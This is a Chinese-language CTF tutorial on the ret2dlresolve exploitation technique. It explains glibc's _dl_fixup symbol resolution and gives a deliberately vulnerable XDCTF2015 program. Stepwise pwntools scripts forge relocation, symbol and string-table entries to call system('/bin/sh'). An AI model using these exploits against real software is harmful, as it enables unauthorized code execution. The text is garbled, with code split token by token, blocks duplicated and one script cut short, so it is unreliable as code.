在Linux中,程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。
而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。
第一次调用一个函数时,先是到plt表,然后jmp到got表
此时got表存的地址是在plt表上
其实也就是jmp got的下一条指令,这里先是push一个数字(该函数在rel.plt上的偏移,reloc_arg,后文会讲到),然后jmp到plt[0] (0x8048380)
在plt[0]处先是push got[1],got[1]就是link_map(链接器的标识信息,后文会讲到),然后jmp到got[2]处,got[2]就是_dl_runtime_resolve函数的地址
所以相当于执行了
这个函数会完成符号的解析,即将真实的write函数地址写入其GOT表对应的条目中,随后将控制器交给被解析的函数
_dl_runtime_resolve 函数其实就调用了 _dl_fixup 函数
_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们先分析接下来会用到的一些函数,完整的源码分析在后文
暂时看不懂不要紧,下面我们通过实践,逐步利用每一条语句进行伪造
难度是逐渐加深,学习建议是每一步都跟着脚本走一遍,关键地方我都给出了注释,然后最好自己能把每一步都写出来个大概
前面的一些概念和名词只需要大致知道是个什么东西,不需要深究,到后面自然会逐步加深理解。
文末给出了参考链接和相关文件及脚本的下载链接
我们先编译以下代码,一个常规的栈溢出,接下来我们在不leak的条件下逐步利用_dl_fixup函数最后get shell
保护如下:
首先是先栈迁移到bss段,再手动调用plt[0],解析write函数,把命令打印出来,我们只需提前push reloc_arg(push 20h)即可完成利用
对应的是这一句
可以看到成功打印出字符
这一步我们控制好reloc_arg的大小,使reloc的位置落在可控地址(bss段)内,在bss段手动伪造出reloc,即伪造.rel.plt中关于write的内容,从而可以控制它的r_info
对应这一句
.rel.plt节是用于函数重定位,.rel.dyn是用于变量重定位
下面是rel的结构体定义
.got节保存了全局变量偏移表,.got.plt节保存了全局函数偏移表。我们通常说的got表指的是.got.plt。.got.plt对应着Elf32_Rel结构中r_offset的值
只需要更改payload2内容
再次成功调用
这一步我们控制好reloc中的r_info,使sym落在可控地址内,从而伪造sym,从而可以控制它的st_name(偏移)
对应这两句
.dynsym节包含了动态链接符号表。ELF32_Sym[num]中的num对应着ELF_R_SYM(Elf32_Rel->r_info)。根据定义,
sym的结构体如下(大小为0x10)
write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7, 对应着R_386_JUMP_SLOT。
ida中的symtab
更改后的payload2
相信到了这一步,对于接下来要做什么已经很清楚了,既然在上一步我们能控制st_name,那接下来自然是伪造st_name,从而可以控制字符串表
对应这一句
最后一步自然是最简单的,现在我们知道_dl_fixup最后是根据字符串也就是函数名来索引函数,而我们已经能控制字符串表,所以我们只需把write改为system,并把相应参数替换一下,即可get shell
综上我们可以得出,程序调用动态函数流程为:压入两个参数 -> 由第一个参数(reloc_arg)确定重定位结构体(reloc_arg + rel_plt) -> 通过重定位结构体中的r_info确定符号表项(symtab[r_info >> 8]) -> 由符号表项的 st_name 确定字符串表(strtab)中函数对应字符串地址 (st_name + strtab)
所以我们一共需要伪造 reloc_arg ,r_info , st_name , str。
上面的例子是Partial RELRO,当程序为NO RELRO时,利用更加简单,因为此时的.dynamic节是可修改的,我们只需要用read函数把其中的strtab的地址修改为我们可以控制的地址,再在这个地址上伪造一个fake_strtab,把write字符串替换为system字符串,其他内容与原来的一样,然后设置好参数,最后在像上面的第一步一样,先push reloc_arg,再jmp 到plt[0]处即可。
其实就相当于直接一步到上面的最后一步
把上面源码编译
利用思路已经在注释中给出
64位下利用更简便,从栈传参变成了寄存器传参,不需要栈迁移,而且没有参数混乱的问题 ,一条rop链就能解决
脚本注释已经写得很清楚了
同样先将上面的源码编译
64位在这种情况下,如果像32位一样依次伪造reloc,symtab,strtab,会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处,接下来我们结合 _dl_fixup 完整源码进行分析,源码位于 glibc-2.23/elf/dl-runtime.c , 在关键位置我都给出了注释,其他位置可忽略
所以接下来我们的任务就是控制 link_map 中的l_addr和 sym中的st_value
具体思路为
下面是64位下的sym结构体
其中
所以sym结构体的大小为24字节,st_value就位于sym[num]首地址+0x8的位置( 4 + 1 + 1 + 2)
我们自然就可以想到,如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0
再来看link_map的结构
这里的.dynamic节就对应l_info的内容
所以如果我们伪造一个link_map表,很容易就可以控制 l_addr ,通过阅读源码,我们知道_dl_fixup主要用了 l_info 的内容 ,也就是其中JMPREL,STRTAB,SYMTAB的地址。
所以我们需要伪造这个数组里的几个指针
DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)
然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到
64位下重定位表项与32位有所不同
这里 Elf64_Addr、Elf64_Xword、Elf64_Sxword 都为 64 位,因此 Elf64_Rela 结构体的大小为 24 (0x18)字节。
在这里可以看到,write 函数在符号表中的偏移为 1(0x100000007h>>32)
除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数 push 的是 0,对应上图第一个位置
接下来我们伪造link_map,know_func_ptr为已解析函数的got表地址,offset为system函数与这个函数在libc上的偏移,由于我们只需要在link_map特定的几个位置伪造指针,而中间的内容不会用到,所以我们就把伪造的rel.plt,symtab放在中间,方便理解可从下往上读代码。
下面是完整的脚本
这种方法用于在不能leak出libc时使用,虽然过程略显繁杂,但掌握之后对底层的认识加深也有不少作用。
此外,x32和x64我都没有讲到FULL_RELERO,是因为此时程序中导入的函数地址会在程序开始执行之前被解析完毕,因此 got 表中 link_map 以及 dl_runtime_resolve 函数地址在程序执行的过程中不会被用到。故而,GOT 表中的这两个地址均为 0。所以我们没法利用dl_runtime_resolve来解析函数。
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/ret2dlresolve/
https://blog.csdn.net/seaaseesa/article/details/104478081
链接: https://pan.baidu.com/s/1Hjdc2TChA1fSBXTUfxp7AA 提取码: v7cc
_dl_runtime_resolve(link_map,reloc_arg)
_dl_runtime_resolve(link_map,reloc_arg)
_dl_fixup(struct link_map
*
l,ElfW(Word) reloc_arg)
{
/
/
首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
/
/
然后通过reloc
-
>r_info找到.dynsym中对应的条目
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM) (reloc
-
>r_info)];
/
/
这里还会检查reloc
-
>r_info的最低位是不是R_386_JMUP_SLOT
=
7
assert
(ELF(R_TYPE)(reloc
-
>info)
=
=
ELF_MACHINE_JMP_SLOT);
/
/
接着通过strtab
+
sym
-
>st_name找到符号表字符串,result为libc基地址
result
=
_dl_lookup_symbol_x (strtab
+
sym
-
>st_name, l, &sym, l
-
>l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/
/
value为libc基址加上要解析函数的偏移地址,也即实际地址
value
=
DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result)
+
sym
-
>st_value) :
0
);
/
/
最后把value写入相应的GOT表条目中
return
elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
_dl_fixup(struct link_map
*
l,ElfW(Word) reloc_arg)
{
/
/
首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
/
/
然后通过reloc
-
>r_info找到.dynsym中对应的条目
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM) (reloc
-
>r_info)];
/
/
这里还会检查reloc
-
>r_info的最低位是不是R_386_JMUP_SLOT
=
7
assert
(ELF(R_TYPE)(reloc
-
>info)
=
=
ELF_MACHINE_JMP_SLOT);
/
/
接着通过strtab
+
sym
-
>st_name找到符号表字符串,result为libc基地址
result
=
_dl_lookup_symbol_x (strtab
+
sym
-
>st_name, l, &sym, l
-
>l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/
/
value为libc基址加上要解析函数的偏移地址,也即实际地址
value
=
DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result)
+
sym
-
>st_value) :
0
);
/
/
最后把value写入相应的GOT表条目中
return
elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
void vuln()
{
char buf[
100
];
setbuf(stdin, buf);
read(
0
, buf,
256
);
}
int
main()
{
char buf[
100
]
=
"Welcome to XDCTF2015~!\n"
;
setbuf(stdout, buf);
write(
1
, buf, strlen(buf));
vuln();
return
0
;
}
void vuln()
{
char buf[
100
];
setbuf(stdin, buf);
read(
0
, buf,
256
);
}
int
main()
{
char buf[
100
]
=
"Welcome to XDCTF2015~!\n"
;
setbuf(stdout, buf);
write(
1
, buf, strlen(buf));
vuln();
return
0
;
}
gcc
-
fno
-
stack
-
protector
-
m32
-
z relro
-
no
-
pie rof.c
-
o parelro_x64
gcc
-
fno
-
stack
-
protector
-
m32
-
z relro
-
no
-
pie rof.c
-
o parelro_x64
_dl_fixup(struct link_map
*
1
,ElfW(Word) reloc_arg)
_dl_fixup(struct link_map
*
1
,ElfW(Word) reloc_arg)
from
pwn
import
*
elf
=
ELF(
'./bof'
)
context.log_level
=
'debug'
offset
=
112
read_plt
=
elf.plt[
'read'
]
write_plt
=
elf.plt[
'write'
]
ppp_ret
=
0x08048619
pop_ebp_ret
=
0x0804861b
leave_ret
=
0x08048458
stack_size
=
0x800
bss_addr
=
0x0804a040
base_stage
=
bss_addr
+
stack_size
r
=
process(
'./bof'
)
r.recvuntil(
'Welcome to XDCTF2015~!\n'
)
payload
=
flat(
'A'
*
offset
, p32(read_plt)
, p32(ppp_ret)
, p32(
0
)
, p32(base_stage)
, p32(
100
)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)
cmd
=
"/bin/sh"
plt_0
=
0x08048380
index_offset
=
0x20
payload2
=
flat(
'AAAA'
, p32(plt_0)
, index_offset
,
'aaaa'
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
,
'A'
*
52
, cmd
+
'\x00'
,
'A'
*
12
)
r.sendline(payload2)
r.interactive()
from
pwn
import
*
elf
=
ELF(
'./bof'
)
context.log_level
=
'debug'
offset
=
112
read_plt
=
elf.plt[
'read'
]
write_plt
=
elf.plt[
'write'
]
ppp_ret
=
0x08048619
pop_ebp_ret
=
0x0804861b
leave_ret
=
0x08048458
stack_size
=
0x800
bss_addr
=
0x0804a040
base_stage
=
bss_addr
+
stack_size
r
=
process(
'./bof'
)
r.recvuntil(
'Welcome to XDCTF2015~!\n'
)
payload
=
flat(
'A'
*
offset
, p32(read_plt)
, p32(ppp_ret)
, p32(
0
)
, p32(base_stage)
, p32(
100
)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)
cmd
=
"/bin/sh"
plt_0
=
0x08048380
index_offset
=
0x20
payload2
=
flat(
'AAAA'
, p32(plt_0)
, index_offset
,
'aaaa'
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
,
'A'
*
52
, cmd
+
'\x00'
,
'A'
*
12
)
r.sendline(payload2)
r.interactive()
/
/
通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
/
/
通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL
*
const reloc
=
(const void
*
)(D_PTR(l, l_info[DT_JMPREL])
+
reloc_offset);
typedef struct{
Elf32_Addr r_offset;
/
/
对于可执行文件,此值为虚拟地址
Elf32_Word r_info;
/
/
符号表索引
}Elf32_Rel;
typedef struct{
Elf32_Addr r_offset;
/
/
对于可执行文件,此值为虚拟地址
Elf32_Word r_info;
/
/
符号表索引
}Elf32_Rel;
/
/
原本是
reloc_arg
+
rel_plt
=
rel_plt
-
>write
/
/
伪造成
fake_arg
+
rel_plt
=
fake_write
/
/
原本是
reloc_arg
+
rel_plt
=
rel_plt
-
>write
/
/
伪造成
fake_arg
+
rel_plt
=
fake_write
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
r_info
=
0x607
fake_write
=
flat(p32(r_offset), p32(r_info))
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
,
'aaaa'
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write
,
'A'
*
44
, cmd
+
'\x00'
,
'A'
*
12
)
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
r_info
=
0x607
fake_write
=
flat(p32(r_offset), p32(r_info))
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
,
'aaaa'
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write
,
'A'
*
44
, cmd
+
'\x00'
,
'A'
*
12
)
/
/
然后通过reloc
-
>r_info找到.dynsym中对应的条目
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM) (reloc
-
>r_info)];
/
/
这里还会检查reloc
-
>r_info的最低位是不是R_386_JMUP_SLOT
=
7
assert
(ELF(R_TYPE)(reloc
-
>info)
=
=
ELF_MACHINE_JMP_SLOT);
/
/
然后通过reloc
-
>r_info找到.dynsym中对应的条目
const ElfW(Sym)
*
sym
=
&symtab[ELFW(R_SYM) (reloc
-
>r_info)];
/
/
这里还会检查reloc
-
>r_info的最低位是不是R_386_JMUP_SLOT
=
7
assert
(ELF(R_TYPE)(reloc
-
>info)
=
=
ELF_MACHINE_JMP_SLOT);
ELF_R_SYM(Elf32_Rel
-
>r_info)
=
(Elf32_Rel
-
> r_info) >>
8
ELF_R_SYM(Elf32_Rel
-
>r_info)
=
(Elf32_Rel
-
> r_info) >>
8
typedef struct
{
Elf32_Word st_name;
/
/
Symbol name(string tbl index)
Elf32_Addr st_value;
/
/
Symbol value
Elf32_word st_size;
/
/
Symbol size
unsigned char st_info;
/
/
Symbol
type
and
binding
unsigned char st_other;
/
/
symbol visibility under glibc>
=
2.2
Elf32_Section st_shndx;
/
/
Section index
}Elf32_Sym;
typedef struct
{
Elf32_Word st_name;
/
/
Symbol name(string tbl index)
Elf32_Addr st_value;
/
/
Symbol value
Elf32_word st_size;
/
/
Symbol size
unsigned char st_info;
/
/
Symbol
type
and
binding
unsigned char st_other;
/
/
symbol visibility under glibc>
=
2.2
Elf32_Section st_shndx;
/
/
Section index
}Elf32_Sym;
payload中
0x4c
的由来:
st_name
=
write_strtab
-
strtab
=
0x4c
payload中
0x4c
的由来:
st_name
=
write_strtab
-
strtab
=
0x4c
原本:
sym[num],num
=
(write_sym
-
dynsym)
/
16
=
6
伪造后:
num
=
(fake_write_sym
-
dynsym)
/
16
原本:
sym[num],num
=
(write_sym
-
dynsym)
/
16
=
6
伪造后:
num
=
(fake_write_sym
-
dynsym)
/
16
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
dynsym
=
0x080481D8
fake_write_addr
=
base_stage
+
28
index_offset
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write
=
flat(p32(r_offset), p32(r_info))
fake_sym
=
flat(p32(
0x4c
),p32(
0
),p32(
0
),p32(
0x12
))
payload2
=
flat(
'AAAA'
, p32(plt_0)
, index_offset
, p32(ppp_ret)
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write
,
'A'
*
align
, fake_sym
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
r.sendline(payload2)
r.interactive()
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
dynsym
=
0x080481D8
fake_write_addr
=
base_stage
+
28
index_offset
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write
=
flat(p32(r_offset), p32(r_info))
fake_sym
=
flat(p32(
0x4c
),p32(
0
),p32(
0
),p32(
0x12
))
payload2
=
flat(
'AAAA'
, p32(plt_0)
, index_offset
, p32(ppp_ret)
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write
,
'A'
*
align
, fake_sym
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
r.sendline(payload2)
r.interactive()
/
/
接着通过strtab
+
(sym
-
>st_name)找到符号表字符串,result为libc基地址
result
=
_dl_lookup_symbol_x (strtab
+
sym
-
>st_name, l, &sym, l
-
>l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/
/
接着通过strtab
+
(sym
-
>st_name)找到符号表字符串,result为libc基地址
result
=
_dl_lookup_symbol_x (strtab
+
sym
-
>st_name, l, &sym, l
-
>l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
原本:
st_name
=
write_strtab
-
strtab
伪造后:
fake_name
=
fake_write_str_addr
-
strtab
原本:
st_name
=
write_strtab
-
strtab
伪造后:
fake_name
=
fake_write_str_addr
-
strtab
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
dynsym
=
0x080481D8
strtab
=
0x08048278
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write_rel
=
flat(p32(r_offset), p32(r_info))
fake_write_str_addr
=
base_stage
+
36
+
align
+
0x10
fake_name
=
fake_write_str_addr
-
strtab
fake_sym
=
flat(p32(fake_name),p32(
0
),p32(
0
),p32(
0x12
))
fake_write_str
=
'write\x00'
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write_rel
,
'A'
*
align
, fake_sym
, fake_write_str
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
r.sendline(payload2)
r.interactive()
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
dynsym
=
0x080481D8
strtab
=
0x08048278
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write_rel
=
flat(p32(r_offset), p32(r_info))
fake_write_str_addr
=
base_stage
+
36
+
align
+
0x10
fake_name
=
fake_write_str_addr
-
strtab
fake_sym
=
flat(p32(fake_name),p32(
0
),p32(
0
),p32(
0x12
))
fake_write_str
=
'write\x00'
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(
1
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write_rel
,
'A'
*
align
, fake_sym
, fake_write_str
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
r.sendline(payload2)
r.interactive()
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
dynsym
=
0x080481D8
strtab
=
0x08048278
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write_rel
=
flat(p32(r_offset), p32(r_info))
fake_write_str_addr
=
base_stage
+
36
+
align
+
0x10
fake_name
=
fake_write_str_addr
-
strtab
fake_sym
=
flat(p32(fake_name),p32(
0
),p32(
0
),p32(
0x12
))
fake_write_str
=
'system\x00'
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage
+
80
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write_rel
,
'A'
*
align
, fake_sym
, fake_write_str
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
r.sendline(payload2)
r.interactive()
cmd
=
"/bin/sh"
plt_0
=
0x08048380
rel_plt
=
0x08048330
dynsym
=
0x080481D8
strtab
=
0x08048278
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'write'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write_rel
=
flat(p32(r_offset), p32(r_info))
fake_write_str_addr
=
base_stage
+
36
+
align
+
0x10
fake_name
=
fake_write_str_addr
-
strtab
fake_sym
=
flat(p32(fake_name),p32(
0
),p32(
0
),p32(
0x12
))
fake_write_str
=
'system\x00'
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage
+
80
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write_rel
,
'A'
*
align
, fake_sym
, fake_write_str
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!